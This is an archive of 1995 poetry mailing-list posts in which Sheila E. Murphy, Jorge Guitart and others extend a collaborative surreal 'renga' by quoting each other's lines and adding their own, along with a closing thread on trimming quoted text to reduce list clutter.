>>>transformation la Ste. Therese into beaming cumulus apokoinu
>>>switchback and in the u-turns were bookmobiles rounding angles
>>>considered shrill as pine left in the acres to be aging
>>>flawlessly, flutes sing genderless in trio, surprisedby how quiet
>>>effort really is or is not, fast enough to sleep
>>>through thunderstorms, arm over thigh until light shakes
>>>petals free of names that rain across known skin forgotten
>>>alive in our hearse hurts, projective nurse if she is to go ahead
>>>and dance, composing instead of straining muscles, far eyes
>>>saunter lope pentecost beam operator will you cockpit
>>>out, transplanted organs speak, the idiom
>>>inseams, a snare as solvently unequal-- the power
>>>uncreased although each snare still trembles quantum
>>>which explains why the pump is busted and why
>>>he preferred whole afternoons on the phone to that
>>>crap about not having a cousin on the moon
>>>capable of keeping the canoe right way up in the cool
>>>prose of the upper Hudson, dinner's at seven so
>>>start swimmin, bud: "lay me down in a wetsuit,
>>>heats me up in the sleaze," it's like a huge dose
>>>of familiarity. I am storing radiance for later use
>>>I know the war-whoop in each dusty narrative
>>>among the invoices and the difference engines
>>>Char, Lee, Parr, Kerr, everybody is here and there
>>>collecting the stamp hinges that come in on the breeze
>>>delicate lace flies into pelican Bills in the house

>>>of narration with partners of good moisture. Here,touch my
>>>ebullience with a token gesture of sauce, of the red stuff.
>>>I have a lot of duende in the freezer & we can defrost some
>>>woods on a snowy evening, my horse is lovely dark and deep
>>>as penitence, but let's elude the shakes and drear, get lost in
>>>our palaver have tongue will travel not a binge of harmony which
>>>in the end goes meerschaum on us till we blink ourselves to
>>>creeping where the sublime is cows bathing in starlight. Give
>>>temporality a rest, for widest space succombs to onslaughts of
>>>hidden porchlight in the latitude that she has given his
>>>longitude. Depth is directly stated. A signal slated to be read
>>>ingratiates politicos and blond ones also shaven vortices but
>>>does mangling exist or the circle is balboa plus expenses
>>>cabinets away from lust and pedigree and shark fin soup
>>>trailing stiffens buying tears for so many tendons
>>>demitassed to mean full-bodied wine with alcohol removed
>>>by trained leeches from under the rotting elastic, a feast
>>>of swirling eddies with beaucoup of labia & confetti
>>>starving time's scythe for water, matching colors to go
>>crecheward into sweet line drawings clothed to world our
>words for water, falling four blocks away, finally, a gulf
between perceived and rinsing water, shroud and comforter,

↑ Index

450. Sheila E. Murphy

Re: this break will or will not not branch

Thu 14 Sep 1995

On Thursday, Sept 14, Charles Alexander wrote
>>On Tue, 12 Sep 1995, Scott Krieger wrote:
>>
>>> > > In the books were dreams and in the dreams were books.
>>> > > wrotethrough windows, lightning green and fine morning
>>> > > First inverted whistle of a cardinal in the poplar
>>> > > The book and the oboe on the grass under sun and cloud
>>> > > Go endlessly, an obtuse Prussian blue, it binds
>>> > > The caravan of windows to what they flee
>>> > > These lace curtains, more gauze than bondage, more
>>> > > Mollycoddled than aware, thin-spined and pebbling
>>> > > but narrow in the waist or waspish Sunday years ago
>>> > > Over coffee topped with whipped lads, the Times blowing
>>> > > & opining, heavy humid air, cum amusing against the

>>> > > bleached ribcage ripcorded into compassed wind
>>> > > kissing the weatherwoman between her beasts as she
>>> > > gives gracious problem: fanatical snacks, landscape of
>>> > > flicka son of thunderhead and the storm in the glass of water'
>>> > > s halfway pertinent incision we keep making safe for ignorance
>>> > > (inspection denied for not knowing how credenza was meant) &
>>> > > neo-colonizing pockets in small furniture intended house
>>> > > sequentially several mountains away but it wasn't, you know, a
>>> > > big tango when the attorney general came, selah hales said,
>>> > > "Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>>> > > Roof" Tobacco warehouse, curls no ideas but the woven fabric the
>>> > > texture so to speak was at the dry cleaners piping hot and
>>> > > gloved-in somewhere unsalted, perched on prescience
>>> > > the chair is sad, alas, and i've lusted tootles' liversthe odor
>>> > > day toy a cello day dis chevys a bo coo daughter chose encore
>>> > > Flaubert because we're waiting all throughout
>>> > > eternity for moments to be of such suchness.
>>> > > In the nooks were creams and in the stream were hooks
>>> > > All melded like striated film leftover in the pastel seeds
>>> > > of darkness falling like a counterirritant around the manchineel.
>>> > > Likewise seams andpaper juxtaposed with seasoned instruments and
>>> > > recently soft fruit of subject's object status, violent
>>> > > transformation la Ste. Therese into beaming cumulus apokoinu
>>> > > switchback and in the u-turns were bookmobiles rounding angles
>>> > > considered shrill as pine left in the acres to be aging
>>> > > flawlessly, flutes sing genderless in trio, surprisedby how quiet
>>> > > effort really is or is not, fast enough to sleep
>>> > > through thunderstorms, arm over thigh until light shakes
>>> > > petals free of names that rain across known skin forgotten
>>> > > alive in our hearse hurts, projective nurse if she is to go ahead
>>> > > and dance, composing instead of straining muscles, far eyes
>>> > > saunter lope pentecost beam operator will you cockpit
>>> > > out, transplanted organs speak, the idiom
>>> > > inseams, a snare as solvently unequal-- the power
>>> > > uncreased although each snare still trembles quantum
>>> > > which explains why the pump is busted and why
>>> > > he preferred whole afternoons on the phone to that
>>> > > crap about not having a cousin on the moon
>>> > > capable of keeping the canoe right way up in the cool
>>> > > prose of the upper Hudson, dinner's at seven so
>>> > > start swimmin, bud: "lay me down in a wetsuit,
>>> > > heats me up in the sleaze," it's like a huge dose

>>> > > of familiarity. I am storing radiance for later use
>>> > > I know the war-whoop in each dusty narrative
>>> > > among the invoices and the difference engines
>>> > > Char, Lee, Parr, Kerr, everybody is here and there
>>> > > collecting the stamp hinges that come in on the breeze
>>> > > delicate lace flies into pelican Bills in the house
>>> > > of narration with partners of good moisture. Here,touch my
>>> > > ebullience with a token gesture of sauce, of the red stuff.
>>> > > I have a lot of duende in the freezer & we can defrost some
>>> > > woods on a snowy evening, my horse is lovely dark and deep
>>> > > as penitence, but let's elude the shakes and drear, get lost in
>>> > > our palaver have tongue will travel not a binge of harmony which
>>> > > in the end goes meerschaum on us till we blink ourselves to
>>> > > creeping where the sublime is cows bathing in starlight. Give
>>> > > temporality a rest, for widest space succombs to onslaughts of
>>> > > hidden porchlight in the latitude that she has given his
>>> > > longitude. Depth is directly stated. A signal slated to be read
>>> > > ingratiates politicos and blond ones also shaven vortices but
>>> > > does mangling exist or the circle is balboa plus expenses
>>> > > cabinets away from lust and pedigree and shark fin soup
>>> > > trailing stiffens buying tears for so many tendons
>>> > > demitassed to mean full-bodied wine with alcohol removed
>>> > > by trained leeches from under the rotting elastic, a feast
>>> > > of swirling eddies with beaucoup of labia & confetti
>>> in the black stone cavity behind the swamphouse where we keep
>>> the papers with the blue seals and the green bottles gone rank
>> i was chewing on the iguana and sister angelica on the cameo
>cookie fortitude of night's flying sisters telling unmentionable
prophecies that sound like silk when mispronounced, that sound like

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451. Sheila E. Murphy

Re: spike it with saussure - begins the intramix...

Thu 14 Sep 1995

>In the books were dreams and in the dreams were books. And flew
>through windows '95 Marlin Loins lightning green, a fine morning
>First detrevni whistle of a cardinal in the poplar
>The book and the old boy on the grass under sun and cloud
>Go endless, an obtuse cellar blue, it binds
>The caravan of endowments to what they flee
>These space curtains, more gauze than bondage, more

>Boloed than aware, spin-art and pebbling
>but narrow in the face or foppish Sunday Hilda oh! Airy
>Hemp Lush over coffee copped a kiss, the Times blowing
>& opining, heavy humid air, we musing against the
>bleached ribcage ripcorded into compassed wind
>missing the violinist between her rests as she
>indexes fracas problem: tool shacks, landscape of
>Zorro son of thunderhead and the storm in the steel glass
>s halfway pertinent incision we keep making
>(I denied not knowing how cadenza was meant) &
>Neapolitan pockets in small furniture intended house
>chance several mountains away but it wasn't, you know, a
>big tango when the attorney general came, said amen,
>"Dias,oh, ho kook!"Xanthippe Ellington! "Tootin' Through the
>Roof" Tobacco warehouse, curls no rabbit rabbit rabbit rabbit
>texture so to speak was at the cleaners hot and
>stubble somewhere unnoticed, chirping presence
>the chair is sad, alas, Inroad Mama, i've lusted tootles' livers
>the
>detour a cello a day dishevels a boat cold otter chose in the
>core
>slaughter because we're waiting all throughout
>eternity for solos to be of such suchness - Relaxed
>Renal Scar in the nooks were creams and in the stream were hooks
>All models like films about their friends in pastel
>of darkness falling like an afghan around the manatee.
>Likewise seems sandpaper huckster with seesaw inchworms and
>recently soft brute of subject's object status, violent
>transformation la Ste. Therese into beaming cumulus hapax
>switchback and in the u-turns were bookmobiles rounding angels
>considered shrill as I'm left in the acres to be aging
>flutes sing fender-benderless in trio, h-h-h-holy cow!
>effort really is or is not, fast enough to sleep
>through thunderstorms, arm over thigh until light shakes
>petals free of names that rain across known skin forgotten
>alive in our hearse hurts, projective nurse if she is to go ahead
>And, with a shout, collecting coat hangers
>Groin Going Boo saunters pentecostal, operator will you cockpit
>out, transplanted organs speak, "arf!" the idiom
>inseams, a snare as solvently unequal-- the power
>uncreased although each snare still trembles QuarkXpress
>which explains why the sump is busted and why

>he preferred Hole to afternoons on the phone with that
>carp, a cousin on the moon, remember the needy
>capable of keeping the canoe right way up in the cool
>prose of the upper Hudson, dinner's at seven so
>start swimmin, bud: "lay me down in a wetsuit,
>heats me up the porridge," it's like a huge typo
>of familiarity. I am storing valence for later use
>I know the war-whoop in each dusty arrogance
>among the choruses and the different people
>Char, Lee, Parr, Kerr, everybody is Hokey Pokey
>collecting the very boring nouns that come in on the breeze
>delicate lace flies tied by Pelican Bill, yo, in the house,
>of narration with part of good moisture. Here, bile, sopor,
>ebullience is a token gesture of the sauced, Red Stuff.
>I have a lot of duodenum. In the freezer we can defend some
>woods on a snowy evening, my yellow rose is lovely dark and deep
>as penitence, but let's elude the shakes and drear, get lost in
>our palaver. Have? Will not a binge of harmony which
>in the end go "meerschaum" on us till we Tempest ourselves to
>bearings where the heiress is cows bathing in starlight. Give
>the poor temp a rest, for widest space succombs to onslaughts of
>hidden porchlight in the platitude that she has given his
>longitude. Depth is directly stated. A signal slated to be
>canonized
>elevates politicos and blond ones also raving vortices but
>does hang-gliding exist or is the circle a bulb of "plus"
>expenses
>cabins away from "Flash and Filligree" and "Goat's Head Soup"
>travel stiffly by the tears for so many tendons
>documentary to mean full body winter with alcohol removed
>sending the bulk of closure with sentient loops
>but my nerves are excellent tonight: Check Sire
>in the coin-op kiln on Sullen Street with my Saint Chris
pendant and my legroom pedalled to half willing mendicants

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452. Sheila E. Murphy

Re: this break will or will not not branch

Thu 14 Sep 1995

>>>In the books were dreams and in the dreams were books.
>>>And flew through windows, lightning green and fine morning

>>>First inverted whistle of a cardinal in the poplar
>>>The book and the oboe on the grass under sun and cloud
>>>Go endlessly, an obtuse Prussian blue, it binds
>>>The caravan of windows to what they flee
>>>These lace curtains, more gauze than bondage, more
>>>Mollycoddled than aware, thin-spined and pebbling
>>>but narrow in the waist or waspish Sunday years ago
>>>Over coffee topped with whipped lads, the Times blowing
>>>& opining, heavy humid air, cum amusing against the
>>>bleached ribcage ripcorded into compassed wind
>>>kissing the weatherwoman between her beasts as she
>>>gives gracious problem: fanatical snacks, landscape of
>>>flicka son of thunderhead and the storm in the glass of water's
>>>halfway pertinent incision we keep making safe for ignorance
>>>(inspection denied for not knowing how credenza was meant) &
>>>neo-colonizing pockets in small furniture intended house
>>>sequentially several mountains away but it wasn't, you know, a
>>>big tango when the attorney general came, selah hales said,
>>>"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>>>Roof" Tobacco warehouse, curls no ideas but the woven fabric the
>>>texture so to speak was at the dry cleaners piping hot and
>>>gloved-in somewhere unsalted, perched on prescience
>>>the chair is sad, alas, and i've lusted tootles' liversthe odor
>>>day toy a cello day dis chevys a bo coo daughter chose encore
>>>Flaubert because we're waiting all throughout
>>>eternity for moments to be of such suchness.
>>>In the nooks were creams and in the stream were hooks
>>>All melded like striated film leftover in the pastel seeds
>>>of darkness falling like a counterirritant around the manchineel.
>>>Likewise seams andpaper juxtaposed with seasoned instruments and
>>>recently soft fruit of subject's object status, violent
>>>transformation la Ste. Therese into beaming cumulus apokoinu
>>>switchback and in the u-turns were bookmobiles rounding angles
>>>considered shrill as pine left in the acres to be aging
>>>flawlessly, flutes sing genderless in trio, surprisedby how quiet
>>>effort really is or is not, fast enough to sleep
>>>through thunderstorms, arm over thigh until light shakes
>>>petals free of names that rain across known skin forgotten
>>>alive in our hearse hurts, projective nurse if she is to go ahead
>>>and dance, composing instead of straining muscles, far eyes
>>>saunter lope pentecost beam operator will you cockpit
>>>out, transplanted organs speak, the idiom

>>>inseams, a snare as solvently unequal-- the power
>>>uncreased although each snare still trembles quantum
>>>which explains why the pump is busted and why
>>>he preferred whole afternoons on the phone to that
>>>crap about not having a cousin on the moon
>>>capable of keeping the canoe right way up in the cool
>>>prose of the upper Hudson, dinner's at seven so
>>>start swimmin, bud: "lay me down in a wetsuit,
>>>heats me up in the sleaze," it's like a huge dose
>>>of familiarity. I am storing radiance for later use
>>>I know the war-whoop in each dusty narrative
>>>among the invoices and the difference engines
>>>Char, Lee, Parr, Kerr, everybody is here and there
>>>collecting the stamp hinges that come in on the breeze
>>>delicate lace flies into pelican Bills in the house
>>>of narration with partners of good moisture. Here,touch my
>>>ebullience with a token gesture of sauce, of the red stuff.
>>>I have a lot of duende in the freezer & we can defrost some
>>>woods on a snowy evening, my horse is lovely dark and deep
>>>as penitence, but let's elude the shakes and drear, get lost in
>>>our palaver have tongue will travel not a binge of harmony which
>>>in the end goes meerschaum on us till we blink ourselves to
>>>creeping where the sublime is cows bathing in starlight. Give
>>>temporality a rest, for widest space succombs to onslaughts of
>>>hidden porchlight in the latitude that she has given his
>>>longitude. Depth is directly stated. A signal slated to be read
>>>ingratiates politicos and blond ones also shaven vortices but
>>>does mangling exist or the circle is balboa plus expenses
>>>cabinets away from lust and pedigree and shark fin soup
>>>trailing stiffens buying tears for so many tendons
>>>demitassed to mean full-bodied wine with alcohol removed
>>>by trained leeches from under the rotting elastic, a feast
>>>of swirling eddies with beaucoup of labia & confetti
>>>starving time's scythe for water, matching colors to go
>>crecheward into sweet line drawings clothed to world our
>>repapered with farinaceous pictures of the king
>in her plummeting financial avocadoes, worrying the morning
with a pinch of salt and chronicling the echo lettuce shortbread plaited
shrill as

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453. **Jorge Guitart**
Re: Sheila & Jorge's Excellent Adventure
Thu 14 Sep 1995

On Thu, 14 Sep 1995, Tony Green wrote:

> *Jorge Guitart wrote fairly recently:*
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped lads, the Times blowing*
> *& opining, heavy humid air, cum amusing against the*
> *bleached ribcage ripcorded into compassed wind accident*
> *kissing the weatherwoman between her beasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka son of thunderhead and the storm in the glass of water'*
> *s halfway pertinent incision we keep making safe for ignorance*
> *(inspection denied for not knowing how credenza was meant) &*
> *neo-colonizing pockets in small furniture intended house*
> *sequentially several mountains away but it wasn't, you know, a*
> *big tango when the attorney general came, selah hales said,*
> *"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the*
> *Roof" Tobacco warehouse, nada curls no ideas but the woven fabric the*
> *texture so to speak was at the dry cleaners piping hot and*
> *gloved-in somewhere unsalted, perched on prescience y pues nada*
> *the chair is sad, alas, and i've lusted tootles' liversthe odor*
> *day toy a cello day dis chevys a bo coo daughter chose encore*
> *Flaubert because we're waiting all throughout*
> *eternity for moments to be of such suchness,*
> *to hold a rattle up, to eat our mommies.*
> *In the nooks were creams and in the stream were hooks*
> *All melded like striated film leftover in the pastel seeds*
> *of darkness falling like a counterirritant around the manchineel.*
> *Likewise seams andpaper juxtaposed with seasoned instruments and*
> *recently soft fruit of subject's object status, violent*
> *transformation la Ste. Therese into beaming cumulus apokoinu*
> *switchback and in the u-turns were bookmobiles rounding angles*
> *considered shrill as pine left in the acres to be aging*
> *flawlessly, flutes sing genderless in trio, surprisedby how quiet*
> *effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
> *petals free of names that rain across known skin forgotten*

alive in our hearse hurts, projective nurse if she is to go ahead
and dance, composing instead of straining muscles, far eyes
saunter lope pentecost beam operator will you cockpit
out, transplanted organs speak, the idiom
inseams, a snare as solvently unequal-- the power
uncreased although each snare still trembles quantum
which explains why the pump is busted and why
he preferred whole afternoons on the phone to that
crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
start swimmin, bud: "lay me down in a wetsuit,
heats me up in the sleaze," it's like a huge dose
of familiarity. I am storing radiance for later use
I know the war-whoop in each dusty narrative
among the invoices and the difference engines
Char, Lee, Parr, Kerr, everybody is here and there
collecting the stamp hinges that come in on the breeze
delicate lace flies into pelican Bills in the house
of narration with partners of good moisture. Here,touch my
ebullience with a token gesture of sauce, of the red stuff.
I have a lot of duende in the freezer & we can defrost some
woods on a snowy evening, my horse is lovely dark and deep
as penitence, but let's elude the shakes and drear, get lost in
our palaver have tongue will travel not a binge of harmony which
in the end goes meerschaum on us till we blink ourselves to
creeping where the sublime is cows bathing in starlight. Give
temporality a rest, for widest space succombs to onslaughts of
hidden porchlight in the latitude that she has given his
longitude. Depth is directly stated. A signal slated to be read
ingratiates politicos and blond ones also shaven vortices but
does mangling exist or the circle is balboa plus expenses
cabinets away from lust and pedigree and shark fin soup
trailing stiffens buying tears for so many tendons
demitassed to mean full-bodied wine with alcohol removed
by trained leeches from under the rotting elastic, a feast
conducted by William Carlos Williams & the Five Snorers,
laying on rocks in the wind, dissonance the order of our day
whereas earlier pieces had emphasized the slow brutality of time
elephantine wrinkles, rocks turning grey, starving termites from
thinking too much about the dolor of papel clips and mucilage

↑ Index

454. **Jorge Guitart**

Re: Chax, Sheila & Jorge's Excellent Adventure

Thu 14 Sep 1995

On Wed, 13 Sep 1995, Charles Wrote Alexander aka Charles Rote,wrote & wrote

> > wrote wrote
> >> wrote wrote
> >> >wrote wrote:
> >> >wrote wrote
> >> >wrote wrote:
> >> >wrote wrote
> >> >wrote wrote:
> >> >wrote wrote:
> >> >wrote wrote:
> >> >wrote wrote:
> >> >wrote wrote:
> >> >
> >> >In the books were dreams and in the dreams were books.
> >
> > (about 95 lines omitted)
> >
> >> >our palaver have tongue will travel not a binge of harmony which
> >> >in the end goes meerschaum on us till we blink ourselves to
> >> >creeping where the sublime is cows bathing in starlight. Give
> >> >temporality a rest, for widest space succombs to onslaughts of
> >> >hidden porchlight in the latitude that she has given his
> >> >longitude. Depth is directly stated. A signal slated to be read
> >> >ingratiates politicos and blond ones also shaven vortices but
> >> >does mangling exist or the circle is balboa plus expenses
> >> >cabinets away from lust and pedigree and shark fin soup
> >> >trailing stiffens buying tears for so many tendons
> >> >demitassed to mean full-bodied wine with alcohol removed
> >> >by trained leeches from under the rotting elastic, a feast
> >> of cinched trousers, steel wool and classicists weeviling their way to
> > train themselves as intensely sexual. They worked with oblong
> penises, wondering where peaches came from, the ground filled with
folks from the cixous fan club who thought elle sent bon meant

↑ Index

455. **Jorge Guitart**
Re: Sheila, Chris & Jorge's Excellent Adventure
Thu 14 Sep 1995

Sheila wrote
> Jorge wrote:
> > Chris wrote
> >> > Sheila wrote
> >> >> Jorge wrote:
> >> >> >Sheila wrote
> >> >> >Jorge wrote:
> >> >> >Sheila wrote
> >> >> >Jorge wrote:
> >> >> >Sheila wrote:
> >> >> >Jorge wrote:
> >> >> >In the books were dreams and in the dreams were books.And flew
> >
> > (...)
> >
> >> >> >hidden porchlight in the latitude that she has given his
> >> >> >longitude. Depth is directly stated. A signal slated to be read
> >> >> >ingratiates politicos and blond ones also shaven vortices but
> >> >> >does mangling exist or the circle is balboa plus expenses
> >> >> >cabinets away from lust and pedigree and shark fin soup
> >> >> >trailing stiffens buying tears for so many tendons
> >> >> demitassed to mean full-bodied wine with alcohol removed
> >> >spending the bulk of closure with sentient scoops
> >> that fluke picnic shot out of these worlds we spread been-to
> > say that the center cannot hold the nose tackle much longer
> than a clam can sleeve out of incarceration baldly
> but who can prevent the Musical Elbows from talking shop

↑ Index

456. **Jorge Guitart**
Re: Sheila & Jorge's Excellent Adventure
Thu 14 Sep 1995

Sheila wrote
> Jorge wrote:
> > Sheila wrote
> >> Jorge wrote:
> >> > Sheila wrote
> >> >> Jorge wrote:

> >> >> >Sheila wrote
> >> >> >Jorge wrote:
> >> >> >Sheila wrote
> >> >> >Jorge wrote:
> >> >> >Sheila wrote:
> >> >> >Jorge wrote:
> >> >> >
> >> >> >In the books were dreams and in the dreams were books.And flew
> >> >> >through windows '95, lightning green and fine morning
> >> >> >First inverted whistle of a cardinal in the poplar
> >> >> >The book and the oboe on the grass under sun and cloud
> >> >> >Go endlessly, an obtuse Prussian blue, it binds
> >> >> >The caravan of windows to what they flee
> >> >> >These lace curtains, more gauze than bondage, more
> >> >> >Mollycoddled than aware, thin-spined and pebbling
> >> >> >but narrow in the waist or waspish Sunday years ago
> >> >> >Over coffee topped with whipped lads, the Times blowing
> >> >> >& opining, heavy humid air, cum amusing against the
> >> >> >bleached ribcage ripcorded into compassed wind
> >> >> >kissing the weatherwoman between her beasts as she
> >> >> >gives gracious problem: fanatical snacks, landscape of
> >> >> >flicka son of thunderhead and the storm in the glass of water'
> >> >> >s halfway pertinent incision we keep making safe for ignorance
> >> >> >(inspection denied for not knowing how credenza was meant) &
> >> >> >neo-colonizing pockets in small furniture intended house
> >> >> >sequentially several mountains away but it wasn't, you know, a
> >> >> >big tango when the attorney general came, selah hales said,
> >> >> >"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
> >> >> >Roof" Tobacco warehouse, curls no ideas but the woven fabric the
> >> >> >texture so to speak was at the dry cleaners piping hot and
> >> >> >gloved-in somewhere unsalted, perched on prescience
> >> >> >the chair is sad, alas, and i've lusted tootles' liversthe odor
> >> >> >day toy a cello day dis chevys a bo coo daughter chose encore
> >> >> >Flaubert because we're waiting all throughout
> >> >> >eternity for moments to be of such suchness.
> >> >> >In the nooks were creams and in the stream were hooks
> >> >> >All melded like striated film leftover in the pastel seeds
> >> >> >of darkness falling like a counterirritant around the manchineel.
> >> >> >Likewise seams andpaper juxtaposed with seasoned instruments
and
> >> >> >recently soft fruit of subject's object status, violent
> >> >> >transformation la Ste. Therese into beaming cumulus apokoinu

> >> >> >switchback and in the u-turns were bookmobiles rounding angles
> >> >> >considered shrill as pine left in the acres to be aging
> >> >> >flawlessly, flutes sing genderless in trio, surprisedby how quiet
> >> >> >effort really is or is not, fast enough to sleep
> >> >> >through thunderstorms, arm over thigh until light shakes
> >> >> >petals free of names that rain across known skin forgotten
> >> >> >alive in our hearse hurts, projective nurse if she is to go ahead
> >> >> >and dance, composing instead of straining muscles, far eyes
> >> >> >saunter lope pentecost beam operator will you cockpit
> >> >> >out, transplanted organs speak, the idiom
> >> >> >inseams, a snare as solvently unequal-- the power
> >> >> >uncreased although each snare still trembles quantum
> >> >> >which explains why the pump is busted and why
> >> >> >he preferred whole afternoons on the phone to that
> >> >> >crap about not having a cousin on the moon
> >> >> >capable of keeping the canoe right way up in the cool
> >> >> >prose of the upper Hudson, dinner's at seven so
> >> >> >start swimmin, bud: "lay me down in a wetsuit,
> >> >> >heats me up in the sleaze," it's like a huge dose
> >> >> >of familiarity. I am storing radiance for later use
> >> >> >I know the war-whoop in each dusty narrative
> >> >> >among the invoices and the difference engines
> >> >> >Char, Lee, Parr, Kerr, everybody is here and there
> >> >> >collecting the stamp hinges that come in on the breeze
> >> >> >delicate lace flies into pelican Bills in the house
> >> >> >of narration with partners of good moisture. Here,touch my
> >> >> >ebullience with a token gesture of sauce, of the red stuff.
> >> >> >I have a lot of duende in the freezer & we can defrost some
> >> >> >woods on a snowy evening, my horse is lovely dark and deep
> >> >> >as penitence, but let's elude the shakes and drear, get lost in
> >> >> >our palaver have tongue will travel not a binge of harmony which
> >> >> >in the end goes meerschaum on us till we blink ourselves to
> >> >> >creeping where the sublime is cows bathing in starlight. Give
> >> >> >temporality a rest, for widest space succombs to onslaughts of
> >> >> >hidden porchlight in the latitude that she has given his
> >> >> >longitude. Depth is directly stated. A signal slated to be read
> >> >> >ingratiates politicos and blond ones also shaven vortices but
> >> >> >does mangling exist or the circle is balboa plus expenses
> >> >> >cabinets away from lust and pedigree and shark fin soup
> >> >> >trailing stiffens buying tears for so many tendons
> >> >> demitassed to mean full-bodied wine with alcohol removed
> >> >spending the bulk of closure with sentient scoops

> >> threatening to have been arrested when the party wasn't looking
> >> wanting to hitch a ride back to Los Genitales (in the boondocks)
> via dendrites to the fourteenth power gleaned from the recent mitten convention
having the configuration of levorotatory glyceraldehyde but unluckily I

↑ Index

457. Jorge Guitart
Re: fugazi redshifter approaching colossus
Thu 14 Sep 1995

> >> > >In the books were dreams and in the dreams were books.And flew
> >> > >through windows '95, lightning green and fine morning
> >> > >First detrevni whistle of a cardinal in the poplar
> >> > >The book and the old boy on the grass under sun and cloud
> >> > >Go endless, an obtuse cellar blue, it binds
> >> > >The caravan of endowments to what they flee
> >> > >These space curtains, more gauze than bondage, more
> >> > >Boloed than aware, spin-art and pebbling
> >> > >but narrow in the face or foppish Sunday Hilda oh!
> >> > >Over coffee chopped with kissed lads, the Times blowing
> >> > >& opining, heavy humid air, we musing against the
> >> > >bleached ribcage ripcorded into compassed wind
> >> > >missing the violinist between her rests as she
> >> > >indexes fracas problem: tool shacks, landscape of
> >> > >Zorro son of thunderhead and the storm in the steel glass
> >> > >s halfway pertinent incision we keep making
> >> > >(I denied not knowing how cadenza was meant) &
> >> > >Neapolitan pockets in small furniture intended house
> >> > >chance several mountains away but it wasn't, you know, a
> >> > >big tango when the attorney general came, said amen,
> >> > >"Dias,oh, ho kook!"Xanthippe Ellington! "Tootin' Through the
> >> > >Roof" Tobacco warehouse, curls no rabbit rabbit rabbit rabbit
> >> > >texture so to speak was at the cleaners hot and
> >> > >stubble somewhere unnoticed, chirping presence
> >> > >the chair is sad, alas, and i've lusted tootles' livers the
> >> > >detour a cello a day dishevels a boat cold otter chose in the core
> >> > >slaughter because we're waiting all throughout
> >> > >eternity for solos to be of such suchness.
> >> > >In the nooks were creams and in the stream were hooks
> >> > >All models like films about their friends in pastel
> >> > >of darkness falling like an afghan around the manatee.

> >> > >Likewise seems sandpaper huckster with seesaw inchworms and
> >> > >recently soft brute of subject's object status, violent
> >> > >transformation la Ste. Therese into beaming cumulus hapax
> >> > >switchback and in the u-turns were bookmobiles rounding angels
> >> > >considered shrill as I'm left in the acres to be aging
> >> > >flutes sing fender-benderless in trio, h-h-h-holy cow!
> >> > >effort really is or is not, fast enough to sleep
> >> > >through thunderstorms, arm over thigh until light shakes
> >> > >petals free of names that rain across known skin forgotten
> >> > >alive in our hearse hurts, projective nurse if she is to go ahead
> >> > >And, with a shout, collecting coat hangers
> >> > >saunter lope pentecost Timon of Athens operator will you cockpit
> >> > >out, transplanted organs speak, "arf!" the idiom
> >> > >inseams, a snare as solvently unequal-- the power
> >> > >uncreased although each snare still trembles QuarkXpress
> >> > >which explains why the sump is busted and why
> >> > >he preferred Hole to afternoons on the phone with that
> >> > >carp, a cousin on the moon, remember the needy
> >> > >capable of keeping the canoe right way up in the cool
> >> > >prose of the upper Hudson, dinner's at seven so
> >> > >start swimmin, bud: "lay me down in a wetsuit,
> >> > >heats me up the porridge," it's like a huge typo
> >> > >of familiarity. I am storing valence for later use
> >> > >I know the war-whoop in each dusty arrogance
> >> > >among the choruses and the different people
> >> > >Char, Lee, Parr, Kerr, everybody is Hokey Pokey
> >> > >collecting the very boring nouns that come in on the breeze
> >> > >delicate lace flies tied by Pelican Bill, yo, in the house,
> >> > >of narration with part of good moisture. Here, bile, sopor,
> >> > >ebullience is a token gesture of the sauced, Red Stuff.
> >> > >I have a lot of duodenum. In the freezer we can defend some
> >> > >woods on a snowy evening, my yellow rose is lovely dark and deep
> >> > >as penitence, but let's elude the shakes and drear, get lost in
> >> > >our palaver. Have? Will not a binge of harmony which
> >> > >in the end go "meerschaum" on us till we Tempest ourselves to
> >> > >bearings where the heiress is cows bathing in starlight. Give
> >> > >the poor temp a rest, for widest space succombs to onslaughts of
> >> > >hidden porchlight in the platitude that she has given his
> >> > >longitude. Depth is directly stated. A signal slated to be canonized
> >> > >elevates politicos and blond ones also raving vortices but
> >> > >does hang-gliding exist or is the circle a bulb of "plus" expenses
> >> > >cabins away from "Flash and Filligree" and "Goat's Head Soup"

> >> > >travel stiffly by the tears for so many tendons
> >> > documentary to mean full body winter with alcohol removed
> >> sending the bulk of closure with sentient loops
> >> but my nerves are excellent tonight: I fired Mr. Churchyard
> >in the coin-op kiln on Sullen Street with my Saint Chris
> medal and a polo shirt and muck to rake and neighbors as non-carnivores
as non-halluces, but Tristram was pawing Isoleucine right in there

↑ Index

458. Daniel Bouchard/College/hmco

Renga and the Far Write

Thu 14 Sep 1995

Jorge:

Try to spend at least a couple of hours away from the computer screen. Isn't the weather nice where you are? Get outside a little. You're going to renga your health at this rate.

[redacted]

↑ Index

459. Jorge Guitart

Re: RENGA SUGGESTION (PLEA! FREE US UP!)

Thu 14 Sep 1995

Starting next login I am only mentioning the last five lines of any version i decide to add to, for the sake of everybody and especially people who have to pay for access.

On Thu, 14 Sep 1995, John Cayley wrote:

> *1) Quote only the last two or three previous lines of the Renga to which you are adding.*
>
> *-- with a little *local* editing you would be able to keep complete copies on your own machines, and this will leave the list a *lot* less cluttered for the rest. [Remember, some of us pay for access to the net.]*
>
> *2) ? Strict(er) use of subject lines to identify branchings.*
>
> *- - - - - -*
> *John Cayley Wellsweep Press [in Chinese HZ:]*
> *^ fine, innovative literary translation from Chinese ^*
> *1 Grove End House 150 Highgate Road London NW5 1PD UK*
> *Tel & Fax: 0[redacted] Email: [redacted]*
> *1995 URLs: http://www.inforamp.net/~cayley [= home]*

> + /wshome.html [= Wellsweep]
> + /inhome.html [= Indra's Net]
> - - - - - -

↑ Index

